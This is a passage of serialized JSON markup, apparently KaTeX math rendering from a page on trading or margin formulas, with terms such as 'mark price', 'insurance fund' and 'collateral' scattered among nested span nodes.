60408,"style":108911},[3751],[160410],{"type":26,"tag":475,"props":160411,"children":160413},{"style":160412},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[160414,160418],{"type":26,"tag":475,"props":160415,"children":160417},{"className":160416,"style":3761},[3760],[],{"type":26,"tag":475,"props":160419,"children":160421},{"className":160420},[3766,3767,3768,3769],[160422],{"type":26,"tag":475,"props":160423,"children":160425},{"className":160424},[3719,21296,3769],[160426],{"type":32,"value":56095},{"type":26,"tag":475,"props":160428,"children":160430},{"className":160429},[21453],[160431],{"type":32,"value":21456},{"type":26,"tag":475,"props":160433,"children":160435},{"className":160434},[3746],[160436],{"type":26,"tag":475,"props":160437,"children":160439},{"className":160438,"style":92750},[3751],[160440],{"type":26,"tag":475,"props":160441,"children":160442},{},[],{"type":26,"tag":475,"props":160444,"children":160446},{"style":160445},"top:-12.8707em;",[160447,160451],{"type":26,"tag":475,"props":160448,"children":160450},{"className":160449,"style":160379},[3760],[],{"type":26,"tag":475,"props":160452,"children":160454},{"className":160453},[3719],[160455],{"type":26,"tag":475,"props":160456,"children":160458},{"className":160457,"style":94687},[3719,21296],[160459],{"type":32,"value":94721},{"type":26,"tag":475,"props":160461,"children":160463},{"style":160462},"top:-10.8392em;",[160464,160468],{"type":26,"tag":475,"props":160465,"children":160467},{"className":160466,"style":160379},[3760],[],{"type":26,"tag":475,"props":160469,"children":160471},{"className":160470},[3719],[160472],{"type":26,"tag":475,"props":160473,"children":160475},{"className":160474},[3719],[160476,160481],{"type":26,"tag":475,"props":160477,"children":160479},{"className":160478},[3719,21296],[160480],{"type":32,"value":2854},{"type":26,"tag":475,"props":160482,"children":160484},{"className":160483},[3736],[160485],{"type":26,"tag":475,"props":160486,"children":160488},{"className":160487},[3741,21350],[160489,160518],{"type":26,"tag":475,"props":160490,"children":160492},{"className":160491},[3746],[160493,160513],{"type":26,"tag":475,"props":160494,"children":160496},{"className":160495,"style":93196},[3751],[160497],{"type":26,"tag":475,"props":160498,"children":160499},{"style":92723},[160500,160504],{"type":26,"tag":475,"props":160501,"children":160503},{"className":160502,"style":3761},[3760],[],{"type":26,"tag":475,"props":160505,"children":160507},{"className":160506},[3766,3767,3768,3769],[160508],{"type":26,"tag":475,"props":160509,"children":160511},{"className":160510},[3719,21296,3769],[160512],{"type":32,"value":3445},{"type":26,"tag":475,"props":160514,"children":160516},{"className":160515},[21453],[160517],{"type":32,"value":21456},{"type":26,"tag":475,"props":160519,"children":160521},{"className":160520},[3746],[160522],{"type":26,"tag":475,"props":160523,"children":160525},{"className":160524,"style":92750},[3751],[160526],{"type":26,"tag":475,"props":160527,"children":160528},{},[],{"type":26,"tag":475,"props":160530,"children":160532},{"style":160531},"top:-8.8188em;",[160533,160537],{"type":26,"tag":475,"props":160534,"children":160536},{"className":160535,"style":160379},[3760],[],{"type":26,"tag":475,"props":160538,"children":160540},{"className":160539},[3719],[160541],{"type":26,"tag":475,"props":160542,"children":160544},{"className":160543},[3719],[160545,160551],{"type":26,"tag":475,"props":160546,"children":160548},{"className":160547,"style":93153},[3719,21296],[160549],{"type":32,"value":160550},"π",{"type":26,"tag":475,"props":160552,"children":160554},{"className":160553},[3736],[160555],{"type":26,"tag":475,"props":160556,"children":160558},{"className":160557},[3741,21350],[160559,160588],{"type":26,"tag":475,"props":160560,"children":160562},{"className":160561},[3746],[160563,160583],{"type":26,"tag":475,"props":160564,"children":160566},{"className":160565,"style":93196},[3751],[160567],{"type":26,"tag":475,"props":160568,"children":160569},{"style":93200},[160570,160574],{"type":26,"tag":475,"props":160571,"children":160573},{"className":160572,"style":3761},[3760],[],{"type":26,"tag":475,"props":160575,"children":160577},{"className":160576},[3766,3767,3768,3769],[160578],{"type":26,"tag":475,"props":160579,"children":160581},{"className":160580},[3719,21296,3769],[160582],{"type":32,"value":3445},{"type":26,"tag":475,"props":160584,"children":160586},{"className":160585},[21453],[160587],{"type":32,"value":21456},{"type":26,"tag":475,"props":160589,"children":160591},{"className":160590},[3746],[160592],{"type":26,"tag":475,"props":160593,"children":160595},{"className":160594,"style":92750},[3751],[160596],{"type":26,"tag":475,"props":160597,"children":160598},{},[],{"type":26,"tag":475,"props":160600,"children":160602},{"style":160601},"top:-7.3188em;",[160603,160607],{"type":26,"tag":475,"props":160604,"children":160606},{"className":160605,"style":160379},[3760],[],{"type":26,"tag":475,"props":160608,"children":160610},{"className":160609},[3719],[160611],{"type":26,"tag":475,"props":160612,"children":160614},{"className":160613},[3719],[160615,160620],{"type":26,"tag":475,"props":160616,"children":160618},{"className":160617},[3719,21296],[160619],{"type":32,"value":689},{"type":26,"tag":475,"props":160621,"children":160623},{"className":160622},[3736],[160624],{"type":26,"tag":475,"props":160625,"children":160627},{"className":160626},[3741,21350],[160628,160657],{"type":26,"tag":475,"props":160629,"children":160631},{"className":160630},[3746],[160632,160652],{"type":26,"tag":475,"props":160633,"children":160635},{"className":160634,"style":93196},[3751],[160636],{"type":26,"tag":475,"props":160637,"children":160638},{"style":92723},[160639,160643],{"type":26,"tag":475,"props":160640,"children":160642},{"className":160641,"style":3761},[3760],[],{"type":26,"tag":475,"props":160644,"children":160646},{"className":160645},[3766,3767,3768,3769],[160647],{"type":26,"tag":475,"props":160648,"children":160650},{"className":160649},[3719,21296,3769],[160651],{"type":32,"value":3445},{"type":26,"tag":475,"props":160653,"children":160655},{"className":160654},[21453],[160656],{"type":32,"value":21456},{"type":26,"tag":475,"props":160658,"children":160660},{"className":160659},[3746],[160661],{"type":26,"tag":475,"props":160662,"children":160664},{"className":160663,"style":92750},[3751],[160665],{"type":26,"tag":475,"props":160666,"children":160667},{},[],{"type":26,"tag":475,"props":160669,"children":160671},{"style":160670},"top:-5.8188em;",[160672,160676],{"type":26,"tag":475,"props":160673,"children":160675},{"className":160674,"style":160379},[3760],[],{"type":26,"tag":475,"props":160677,"children":160679},{"className":160678},[3719],[160680],{"type":26,"tag":475,"props":160681,"children":160683},{"className":160682},[3719],[160684,160689],{"type":26,"tag":475,"props":160685,"children":160687},{"className":160686,"style":121759},[3719,21296],[160688],{"type":32,"value":49264},{"type":26,"tag":475,"props":160690,"children":160692},{"className":160691},[3736],[160693],{"type":26,"tag":475,"props":160694,"children":160696},{"className":160695},[3741,21350],[160697,160727],{"type":26,"tag":475,"props":160698,"children":160700},{"className":160699},[3746],[160701,160722],{"type":26,"tag":475,"props":160702,"children":160704},{"className":160703,"style":93196},[3751],[160705],{"type":26,"tag":475,"props":160706,"children":160708},{"style":160707},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160709,160713],{"type":26,"tag":475,"props":160710,"children":160712},{"className":160711,"style":3761},[3760],[],{"type":26,"tag":475,"props":160714,"children":160716},{"className":160715},[3766,3767,3768,3769],[160717],{"type":26,"tag":475,"props":160718,"children":160720},{"className":160719},[3719,21296,3769],[160721],{"type":32,"value":3445},{"type":26,"tag":475,"props":160723,"children":160725},{"className":160724},[21453],[160726],{"type":32,"value":21456},{"type":26,"tag":475,"props":160728,"children":160730},{"className":160729},[3746],[160731],{"type":26,"tag":475,"props":160732,"children":160734},{"className":160733,"style":92750},[3751],[160735],{"type":26,"tag":475,"props":160736,"children":160737},{},[],{"type":26,"tag":475,"props":160739,"children":160741},{"style":160740},"top:-4.3188em;",[160742,160746],{"type":26,"tag":475,"props":160743,"children":160745},{"className":160744,"style":160379},[3760],[],{"type":26,"tag":475,"props":160747,"children":160749},{"className":160748},[3719],[160750],{"type":26,"tag":475,"props":160751,"children":160753},{"className":160752},[3719],[160754,160759],{"type":26,"tag":475,"props":160755,"children":160757},{"className":160756},[3719,21296],[160758],{"type":32,"value":18984},{"type":26,"tag":475,"props":160760,"children":160762},{"className":160761},[3736],[160763],{"type":26,"tag":475,"props":160764,"children":160766},{"className":160765},[3741,21350],[160767,160796],{"type":26,"tag":475,"props":160768,"children":160770},{"className":160769},[3746],[160771,160791],{"type":26,"tag":475,"props":160772,"children":160774},{"className":160773,"style":93196},[3751],[160775],{"type":26,"tag":475,"props":160776,"children":160777},{"style":92723},[160778,160782],{"type":26,"tag":475,"props":160779,"children":160781},{"className":160780,"style":3761},[3760],[],{"type":26,"tag":475,"props":160783,"children":160785},{"className":160784},[3766,3767,3768,3769],[160786],{"type":26,"tag":475,"props":160787,"children":160789},{"className":160788},[3719,21296,3769],[160790],{"type":32,"value":3445},{"type":26,"tag":475,"props":160792,"children":160794},{"className":160793},[21453],[160795],{"type":32,"value":21456},{"type":26,"tag":475,"props":160797,"children":160799},{"className":160798},[3746],[160800],{"type":26,"tag":475,"props":160801,"children":160803},{"className":160802,"style":92750},[3751],[160804],{"type":26,"tag":475,"props":160805,"children":160806},{},[],{"type":26,"tag":475,"props":160808,"children":160810},{"style":160809},"top:-2.5512em;",[160811,160815],{"type":26,"tag":475,"props":160812,"children":160814},{"className":160813,"style":160379},[3760],[],{"type":26,"tag":475,"props":160816,"children":160818},{"className":160817},[3719],[160819],{"type":26,"tag":475,"props":160820,"children":160822},{"className":160821},[3719],[160823,160828],{"type":26,"tag":475,"props":160824,"children":160826},{"className":160825},[3719,21296],[160827],{"type":32,"value":83967},{"type":26,"tag":475,"props":160829,"children":160831},{"className":160830},[3736],[160832],{"type":26,"tag":475,"props":160833,"children":160835},{"className":160834},[3741,21350],[160836,160865],{"type":26,"tag":475,"props":160837,"children":160839},{"className":160838},[3746],[160840,160860],{"type":26,"tag":475,"props":160841,"children":160843},{"className":160842,"style":93196},[3751],[160844],{"type":26,"tag":475,"props":160845,"children":160846},{"style":92723},[160847,160851],{"type":26,"tag":475,"props":160848,"children":160850},{"className":160849,"style":3761},[3760],[],{"type":26,"tag":475,"props":160852,"children":160854},{"className":160853},[3766,3767,3768,3769],[160855],{"type":26,"tag":475,"props":160856,"children":160858},{"className":160857},[3719,21296,3769],[160859],{"type":32,"value":3445},{"type":26,"tag":475,"props":160861,"children":160863},{"className":160862},[21453],[160864],{"type":32,"value":21456},{"type":26,"tag":475,"props":160866,"children":160868},{"className":160867},[3746],[160869],{"type":26,"tag":475,"props":160870,"children":160872},{"className":160871,"style":92750},[3751],[160873],{"type":26,"tag":475,"props":160874,"children":160875},{},[],{"type":26,"tag":475,"props":160877,"children":160879},{"style":160878},"top:-0.3652em;",[160880,160884],{"type":26,"tag":475,"props":160881,"children":160883},{"className":160882,"style":160379},[3760],[],{"type":26,"tag":475,"props":160885,"children":160887},{"className":160886},[3719],[160888],{"type":26,"tag":475,"props":160889,"children":160891},{"className":160890},[3719],[160892,160897],{"type":26,"tag":475,"props":160893,"children":160895},{"className":160894,"style":92901},[3719,21296],[160896],{"type":32,"value":92904},{"type":26,"tag":475,"props":160898,"children":160900},{"className":160899},[3736],[160901],{"type":26,"tag":475,"props":160902,"children":160904},{"className":160903},[3741,21350],[160905,160934],{"type":26,"tag":475,"props":160906,"children":160908},{"className":160907},[3746],[160909,160929],{"type":26,"tag":475,"props":160910,"children":160912},{"className":160911,"style":142034},[3751],[160913],{"type":26,"tag":475,"props":160914,"children":160915},{"style":109908},[160916,160920],{"type":26,"tag":475,"props":160917,"children":160919},{"className":160918,"style":3761},[3760],[],{"type":26,"tag":475,"props":160921,"children":160923},{"className":160922},[3766,3767,3768,3769],[160924],{"type":26,"tag":475,"props":160925,"children":160927},{"className":160926,"style":21297},[3719,21296,3769],[160928],{"type":32,"value":5701},{"type":26,"tag":475,"props":160930,"children":160932},{"className":160931},[21453],[160933],{"type":32,"value":21456},{"type":26,"tag":475,"props":160935,"children":160937},{"className":160936},[3746],[160938],{"type":26,"tag":475,"props":160939,"children":160941},{"className":160940,"style":92750},[3751],[160942],{"type":26,"tag":475,"props":160943,"children":160944},{},[],{"type":26,"tag":475,"props":160946,"children":160948},{"style":160947},"top:2.2624em;",[160949,160953],{"type":26,"tag":475,"props":160950,"children":160952},{"className":160951,"style":160379},[3760],[],{"type":26,"tag":475,"props":160954,"children":160956},{"className":160955},[3719],[160957],{"type":26,"tag":475,"props":160958,"children":160960},{"className":160959},[3719],[160961,160967],{"type":26,"tag":475,"props":160962,"children":160964},{"className":160963,"style":92667},[3719,21296],[160965],{"type":32,"value":160966},"D",{"type":26,"tag":475,"props":160968,"children":160970},{"className":160969},[3736],[160971],{"type":26,"tag":475,"props":160972,"children":160974},{"className":160973},[3741,21350],[160975,161004],{"type":26,"tag":475,"props":160976,"children":160978},{"className":160977},[3746],[160979,160999],{"type":26,"tag":475,"props":160980,"children":160982},{"className":160981,"style":142034},[3751],[160983],{"type":26,"tag":475,"props":160984,"children":160985},{"style":109478},[160986,160990],{"type":26,"tag":475,"props":160987,"children":160989},{"className":160988,"style":3761},[3760],[],{"type":26,"tag":475,"props":160991,"children":160993},{"className":160992},[3766,3767,3768,3769],[160994],{"type":26,"tag":475,"props":160995,"children":160997},{"className":160996,"style":21297},[3719,21296,3769],[160998],{"type":32,"value":5701},{"type":26,"tag":475,"props":161000,"children":161002},{"className":161001},[21453],[161003],{"type":32,"value":21456},{"type":26,"tag":475,"props":161005,"children":161007},{"className":161006},[3746],[161008],{"type":26,"tag":475,"props":161009,"children":161011},{"className":161010,"style":92750},[3751],[161012],{"type":26,"tag":475,"props":161013,"children":161014},{},[],{"type":26,"tag":475,"props":161016,"children":161018},{"style":161017},"top:4.8901em;",[161019,161023],{"type":26,"tag":475,"props":161020,"children":161022},{"className":161021,"style":160379},[3760],[],{"type":26,"tag":475,"props":161024,"children":161026},{"className":161025},[3719],[161027],{"type":26,"tag":475,"props":161028,"children":161030},{"className":161029},[3719],[161031,161037],{"type":26,"tag":475,"props":161032,"children":161034},{"className":161033,"style":94675},[3719,21296],[161035],{"type":32,"value":161036},"U",{"type":26,"tag":475,"props":161038,"children":161040},{"className":161039},[3736],[161041],{"type":26,"tag":475,"props":161042,"children":161044},{"className":161043},[3741,21350],[161045,161075],{"type":26,"tag":475,"props":161046,"children":161048},{"className":161047},[3746],[161049,161070],{"type":26,"tag":475,"props":161050,"children":161052},{"className":161051,"style":142034},[3751],[161053],{"type":26,"tag":475,"props":161054,"children":161056},{"style":161055},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[161057,161061],{"type":26,"tag":475,"props":161058,"children":161060},{"className":161059,"style":3761},[3760],[],{"type":26,"tag":475,"props":161062,"children":161064},{"className":161063},[3766,3767,3768,3769],[161065],{"type":26,"tag":475,"props":161066,"children":161068},{"className":161067,"style":21297},[3719,21296,3769],[161069],{"type":32,"value":5701},{"type":26,"tag":475,"props":161071,"children":161073},{"className":161072},[21453],[161074],{"type":32,"value":21456},{"type":26,"tag":475,"props":161076,"children":161078},{"className":161077},[3746],[161079],{"type":26,"tag":475,"props":161080,"children":161082},{"className":161081,"style":92750},[3751],[161083],{"type":26,"tag":475,"props":161084,"children":161085},{},[],{"type":26,"tag":475,"props":161087,"children":161089},{"style":161088},"top:7.3078em;",[161090,161094],{"type":26,"tag":475,"props":161091,"children":161093},{"className":161092,"style":160379},[3760],[],{"type":26,"tag":475,"props":161095,"children":161097},{"className":161096},[3719],[161098],{"type":26,"tag":475,"props":161099,"children":161101},{"className":161100},[3719],[161102,161107],{"type":26,"tag":475,"props":161103,"children":161105},{"className":161104,"style":122256},[3719,21296],[161106],{"type":32,"value":122259},{"type":26,"tag":475,"props":161108,"children":161110},{"className":161109},[3736],[161111],{"type":26,"tag":475,"props":161112,"children":161114},{"className":161113},[3741,21350],[161115,161146],{"type":26,"tag":475,"props":161116,"children":161118},{"className":161117},[3746],[161119,161141],{"type":26,"tag":475,"props":161120,"children":161123},{"className":161121,"style":161122},[3751],"height:0.2806em;",[161124],{"type":26,"tag":475,"props":161125,"children":161127},{"style":161126},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[161128,161132],{"type":26,"tag":475,"props":161129,"children":161131},{"className":161130,"style":3761},[3760],[],{"type":26,"tag":475,"props":161133,"children":161135},{"className":161134},[3766,3767,3768,3769],[161136],{"type":26,"tag":475,"props":161137,"children":161139},{"className":161138},[3719,21296,3769],[161140],{"type":32,"value":21438},{"type":26,"tag":475,"props":161142,"children":161144},{"className":161143},[21453],[161145],{"type":32,"value":21456},{"type":26,"tag":475,"props":161147,"children":161149},{"className":161148},[3746],[161150],{"type":26,"tag":475,"props":161151,"children":161153},{"className":161152,"style":92750},[3751],[161154],{"type":26,"tag":475,"props":161155,"children":161156},{},[],{"type":26,"tag":475,"props":161158,"children":161160},{"className":161159},[21453],[161161],{"type":32,"value":21456},{"type":26,"tag":475,"props":161163,"children":161165},{"className":161164},[3746],[161166],{"type":26,"tag":475,"props":161167,"children":161170},{"className":161168,"style":161169},[3751],"height:11.3392em;",[161171],{"type":26,"tag":475,"props":161172,"children":161173},{},[],{"type":26,"tag":475,"props":161175,"children":161177},{"className":161176},[159293],[161178],{"type":26,"tag":475,"props":161179,"children":161181},{"className":161180},[3741,21350],[161182,162884],{"type":26,"tag":475,"props":161183,"children":161185},{"className":161184},[3746],[161186,162879],{"type":26,"tag":475,"props":161187,"children":161189},{"className":161188,"style":160370},[3751],[161190,161228,161266,161413,161648,161803,161908,161951,162172,162331,162521,162673],{"type":26,"tag":475,"props":161191,"children":161192},{"style":160374},[161193,161197],{"type":26,"tag":475,"props":161194,"children":161196},{"className":161195,"style":160379},[3760],[],{"type":26,"tag":475,"props":161198,"children":161200},{"className":161199},[3719],[161201,161205,161209,161214,161218],{"type":26,"tag":475,"props":161202,"children":161204},{"className":161203},[3719],[],{"type":26,"tag":475,"props":161206,"children":161208},{"className":161207,"style":3898},[3800],[],{"type":26,"tag":475,"props":161210,"children":161212},{"className":161211},[3903],[161213],{"type":32,"value":21315},{"type":26,"tag":475,"props":161215,"children":161217},{"className":161216,"style":3898},[3800],[],{"type":26,"tag":475,"props":161219,"children":161221},{"className":161220},[3719,32],[161222],{"type":26,"tag":475,"props":161223,"children":161225},{"className":161224},[3719],[161226],{"type":32,"value":161227},"mark price",{"type":26,"tag":475,"props":161229,"children":161230},{"style":160445},[161231,161235],{"type":26,"tag":475,"props":161232,"children":161234},{"className":161233,"style":160379},[3760],[],{"type":26,"tag":475,"props":161236,"children":161238},{"className":161237},[3719],[161239,161243,161247,161252,161256],{"type":26,"tag":475,"props":161240,"children":161242},{"className":161241},[3719],[],{"type":26,"tag":475,"props":161244,"children":161246},{"className":161245,"style":3898},[3800],[],{"type":26,"tag":475,"props":161248,"children":161250},{"className":161249},[3903],[161251],{"type":32,"value":21315},{"type":26,"tag":475,"props":161253,"children":161255},{"className":161254,"style":3898},[3800],[],{"type":26,"tag":475,"props":161257,"children":161259},{"className":161258},[3719,32],[161260],{"type":26,"tag":475,"props":161261,"children":161263},{"className":161262},[3719],[161264],{"type":32,"value":161265},"insurance fund",{"type":26,"tag":475,"props":161267,"children":161268},{"style":160462},[161269,161273],{"type":26,"tag":475,"props":161270,"children":161272},{"className":161271,"style":160379},[3760],[],{"type":26,"tag":475,"props":161274,"children":161276},{"className":161275},[3719],[161277,161281,161285,161290,161294,161304,161308,161313,161317],{"type":26,"tag":475,"props":161278,"children":161280},{"className":161279},[3719],[],{"type":26,"tag":475,"props":161282,"children":161284},{"className":161283,"style":3898},[3800],[],{"type":26,"tag":475,"props":161286,"children":161288},{"className":161287},[3903],[161289],{"type":32,"value":21315},{"type":26,"tag":475,"props":161291,"children":161293},{"className":161292,"style":3898},[3800],[],{"type":26,"tag":475,"props":161295,"children":161297},{"className":161296},[3719,32],[161298],{"type":26,"tag":475,"props":161299,"children":161301},{"className":161300},[3719],[161302],{"type":32,"value":161303},"collateral",{"type":26,"tag":475,"props":161305,"children":161307},{"className":161306,"style":3898},[3800],[],{"type":26,"tag":475,"props":161309,"children":161311},{"className":161310},[3903],[161312],{"type":32,"value":786},{"type":26,"tag":475,"props":161314,"children":161316},{"className":161315,"style":3898},[3800],[],{"type":26,"tag":475,"props":161318,"children":161320},{"className":161319},[3719],[161321,161325,161409],{"type":26,"tag":475,"props":161322,"children":161324},{"className":161323},[21425,112997],[],{"type":26,"tag":475,"props":161326,"children":161328},{"className":161327},[113002],[161329],{"type":26,"tag":475,"props":161330,"children":161332},{"className":161331},[3741,21350],[161333,161398],{"type":26,"tag":475,"props":161334,"children":161336},{"className":161335},[3746],[161337,161393],{"type":26,"tag":475,"props":161338,"children":161341},{"className":161339,"style":161340},[3751],"height:1.3714em;",[161342,161362,161373],{"type":26,"tag":475,"props":161343,"children":161344},{"style":158588},[161345,161349],{"type":26,"tag":475,"props":161346,"children":161348},{"className":161347,"style":111650},[3760],[],{"type":26,"tag":475,"props":161350,"children":161352},{"className":161351},[3719],[161353],{"type":26,"tag":475,"props":161354,"children":161356},{"className":161355},[3719,32],[161357],{"type":26,"tag":475,"props":161358,"children":161360},{"className":161359},[3719],[161361],{"type":32,"value":158625},{"type":26,"tag":475,"props":161363,"children":161364},{"style":113052},[161365,161369],{"type":26,"tag":475,"props":161366,"children":161368},{"className":161367,"style":111650},[3760],[],{"type":26,"tag":475,"props":161370,"children":161372},{"className":161371,"style":113062},[113061],[],{"type":26,"tag":475,"props":161374,"children":161375},{"style":158639},[161376,161380],{"type":26,"tag":475,"props":161377,"children":161379},{"className":161378,"style":111650},[3760],[],{"type":26,"tag":475,"props":161381,"children":161383},{"className":161382},[3719],[161384],{"type":26,"tag":475,"props":161385,"children":161387},{"className":161386},[3719,32],[161388],{"type":26,"tag":475,"props":161389,"children":161391},{"className":161390},[3719],[161392],{"type":32,"value":158664},{"type":26,"tag":475,"props":161394,"children":161396},{"className":161395},[21453],[161397],{"type":32,"value":21456},{"type":26,"tag":475,"props":161399,"children":161401},{"className":161400},[3746],[161402],{"type":26,"tag":475,"props":161403,"children":161405},{"className":161404,"style":158682},[3751],[161406],{"type":26,"tag":475,"props":161407,"children":161408},{},[],{"type":26,"tag":475,"props":161410,"children":161412},{"className":161411},[21447,112997],[],{"type":26,"tag":475,"props":161414,"children":161415},{"style":160531},[161416,161420],{"type":26,"tag":475,"props":161417,"children":161419},{"className":161418,"style":160379},[3760],[],{"type":26,"tag":475,"props":161421,"children":161423},{"className":161422},[3719],[161424,161428,161432,161437,161441,161498,161502,161507,161511,161516,161573,161577,161582,161586,161643],{"type":26,"tag":475,"props":161425,"children":161427},{"className":161426},[3719],[],{"type":26,"tag":475,"props":161429,"children":161431},{"className":161430,"style":3898},[3800],[],{"type":26,"tag":475,"props":161433,"children":161435},{"className":161434},[3903],[161436],{"type":32,"value":786},{"type":26,"tag":475,"props":161438,"children":161440},{"className":161439,"style":3898},[3800],[],{"type":26,"tag":475,"props":161442,"children":161444},{"className":161443},[3719],[161445,161450],{"type":26,"tag":475,"props":161446,"children":161448},{"className":161447},[3719,21296],[161449],{"type":32,"value":10360},{"type":26,"tag":475,"props":161451,"children":161453},{"className":161452},[3736],[161454],{"type":26,"tag":475,"props":161455,"children":161457},{"className":161456},[3741,21350],[161458,161487],{"type":26,"tag":475,"props":161459,"children":161461},{"className":161460},[3746],[161462,161482],{"type":26,"tag":475,"props":161463,"children":161465},{"className":161464,"style":93196},[3751],[161466],{"type":26,"tag":475,"props":161467,"children":161468},{"style":92723},[161469,161473],{"type":26,"tag":475,"props":161470,"children":161472},{"className":161471,"style":3761},[3760],[],{"type":26,"tag":475,"props":161474,"children":161476},{"className":161475},[3766,3767,3768,3769],[161477],{"type":26,"tag":475,"props":161478,"children":161480},{"className":161479},[3719,21296,3769],[161481],{"type":32,"value":3445},{"type":26,"tag":475,"props":161483,"children":161485},{"className":161484},[21453],[161486],{"type":32,"value":21456},{"type":26,"tag":475,"props":161488,"children":161490},{"className":161489},[3746],[161491],{"type":26,"tag":475,"props":161492,"children":161494},{"className":161493,"style":92750},[3751],[161495],{"type":26,"tag":475,"props":161496,"children":161497},{},[],{"type":26,"tag":475,"props":161499,"children":161501},{"className":161500,"style":3801},[3800],[],{"type":26,"tag":475,"props":161503,"children":161505},{"className":161504},[3806],[161506],{"type":32,"value":110741},{"type":26,"tag":475,"props":161508,"children":161510},{"className":161509,"style":3801},[3800],[],{"type":26,"tag":475,"props":161512,"children":161514},{"className":161513},[21425],[161515],{"type":32,"value":626},{"type":26,"tag":475,"props":161517,"children":161519},{"className":161518},[3719],[161520,161525],{"type":26,"tag":475,"props":161521,"children":161523},{"className":161522,"style":21297},[3719,21296],[161524],{"type":32,"value":21300},{"type":26,"tag":475,"props":161526,"children":161528},{"className":161527},[3736],[161529],{"type":26,"tag":475,"props":161530,"children":161532},{"className":161531},[3741,21350],[161533,161562],{"type":26,"tag":475,"props":161534,"children":161536},{"className":161535},[3746],[161537,161557],{"type":26,"tag":475,"props":161538,"children":161540},{"className":161539,"style":108911},[3751],[161541],{"type":26,"tag":475,"props":161542,"children":161543},{"style":160412},[161544,161548],{"type":26,"tag":475,"props":161545,"children":161547},{"className":161546,"style":3761},[3760],[],{"type":26,"tag":475,"props":161549,"children":161551},{"className":161550},[3766,3767,3768,3769],[161552],{"type":26,"tag":475,"props":161553,"children":161555},{"className":161554},[3719,21296,3769],[161556],{"type":32,"value":56095},{"type":26,"tag":475,"props":161558,"children":161560},{"className":161559},[21453],[161561],{"type":32,"value":21456},{"type":26,"tag":475,"props":161563,"children":161565},{"className":161564},[3746],[161566],{"type":26,"tag":475,"props":161567,"children":161569},{"className":161568,"style":92750},[3751],[161570],{"type":26,"tag":475,"props":161571,"children":161572},{},[],{"type":26,"tag":475,"props":161574,"children":161576},{"className":161575,"style":3801},[3800],[],{"type":26,"tag":475,"props":161578,"children":161580},{"className":161579},[3806],[161581],{"type":32,"value":3780},{"type":26,"tag":475,"props":161583,"children":161585},{"className":161584,"style":3801},[3800],[],{"type":26,"tag":475,"props":161587,"children":161589},{"className":161588},[3719],[161590,161595],{"type":26,"tag":475,"props":161591,"children":161593},{"className":161592},[3719,21296],[161594],{"type":32,"value":35},{"type":26,"tag":475,"props":161596,"children":161598},{"className":161597},[3736],[161599],{"type":26,"tag":475,"props":161600,"children":161602},{"className":161601},[3741,21350],[161603,161632],{"type":26,"tag":475,"props":161604,"children":161606},{"className":161605},[3746],[161607,161627],{"type":26,"tag":475,"props":161608,"children":161610},{"className":161609,"style":93196},[3751],[161611],{"type":26,"tag":475,"props":161612,"children":161613},{"style":92723},[161614,161618],{"type":26,"tag":475,"props":161615,"children":161617},{"className":161616,"style":3761},[3760],[],{"type":26,"tag":475,"props":161619,"children":161621},{"className":161620},[3766,3767,3768,3769],[161622],{"type":26,"tag":475,"props":161623,"children":161625},{"className":161624},[3719,21296,3769],[161626],{"type":32,"value":3445},{"type":26,"tag":475,"props":161628,"children":161630},{"className":161629},[21453],[161631],{"type":32,"value":21456},{"type":26,"tag":475,"props":161633,"children":161635},{"className":161634},[3746],[161636],{"type":26,"tag":475,"props":161637,"children":161639},{"className":161638,"style":92750},[3751],[161640],{"type":26,"tag":475,"props":161641,"children":161642},{},[],{"type":26,"tag":475,"props":161644,"children":161646},{"className":161645},[21447],[161647],{"type":32,"value":2835},{"type":26,"tag":475,"props":161649,"children":161650},{"style":160601},[161651,161655],{"type":26,"tag":475,"props":161652,"children":161654},{"className":161653,"style":160379},[3760],[],{"type":26,"tag":475,"props":161656,"children":161658},{"className":161657},[3719],[161659,161663,161667,161672,161676,161733,161737,161742,161746],{"type":26,"tag":475,"props":161660,"children":161662},{"className":161661},[3719],[],{"type":26,"tag":475,"props":161664,"children":161666},{"className":161665,"style":3898},[3800],[],{"type":26,"tag":475,"props":161668,"children":161670},{"className":161669},[3903],[161671],{"type":32,"value":786},{"type":26,"tag":475,"props":161673,"children":161675},{"className":161674,"style":3898},[3800],[],{"type":26,"tag":475,"props":161677,"children":161679},{"className":161678},[3719],[161680,161685],{"type":26,"tag":475,"props":161681,"children":161683},{"className":161682},[3719,21296],[161684],{"type":32,"value":2854},{"type":26,"tag":475,"props":161686,"children":161688},{"className":161687},[3736],[161689],{"type":26,"tag":475,"props":161690,"children":161692},{"className":161691},[3741,21350],[161693,161722],{"type":26,"tag":475,"props":161694,"children":161696},{"className":161695},[3746],[161697,161717],{"type":26,"tag":475,"props":161698,"children":161700},{"className":161699,"style":93196},[3751],[161701],{"type":26,"tag":475,"props":161702,"children":161703},{"style":92723},[161704,161708],{"type":26,"tag":475,"props":161705,"children":161707},{"className":161706,"style":3761},[3760],[],{"type":26,"tag":475,"props":161709,"children":161711},{"className":161710},[3766,3767,3768,3769],[161712],{"type":26,"tag":475,"props":161713,"children":161715},{"className":161714},[3719,21296,3769],[161716],{"type":32,"value":3445},{"type":26,"tag":475,"props":161718,"children":161720},{"className":161719},[21453],[161721],{"type":32,"value":21456},{"type":26,"tag":475,"props":161723,"children":161725},{"className":161724},[3746],[161726],{"type":26,"tag":475,"props":161727,"children":161729},{"className":161728,"style":92750},[3751],[161730],{"type":26,"tag":475,"props":161731,"children":161732},{},[],{"type":26,"tag":475,"props":161734,"children":161736},{"className":161735,"style":3801},[3800],[],{"type":26,"tag":475,"props":161738,"children":161740},{"className":161739},[3806],[161741],{"type":32,"value":1106},{"type":26,"tag":475,"props":161743,"children":161745},{"className":161744,"style":3801},[3800],[],{"type":26,"tag":475,"props":161747,"children":161749},{"className":161748},[3719],[161750,161755],{"type":26,"tag":475,"props":161751,"children":161753},{"className":161752,"style":93153},[3719,21296],[161754],{"type":32,"value":160550},{"type":26,"tag":475,"props":161756,"children":161758},{"className":161757},[3736],[161759],{"type":26,"tag":475,"props":161760,"children":161762},{"className":161761},[3741,21350],[161763,161792],{"type":26,"tag":475,"props":161764,"children":161766},{"className":161765},[3746],[161767,161787],{"type":26,"tag":475,"props":161768,"children":161770},{"className":161769,"style":93196},[3751],[161771],{"type":26,"tag":475,"props":161772,"children":161773},{"style":93200},[161774,161778],{"type":26,"tag":475,"props":161775,"children":161777},{"className":161776,"style":3761},[3760],[],{"type":26,"tag":475,"props":161779,"children":161781},{"className":161780}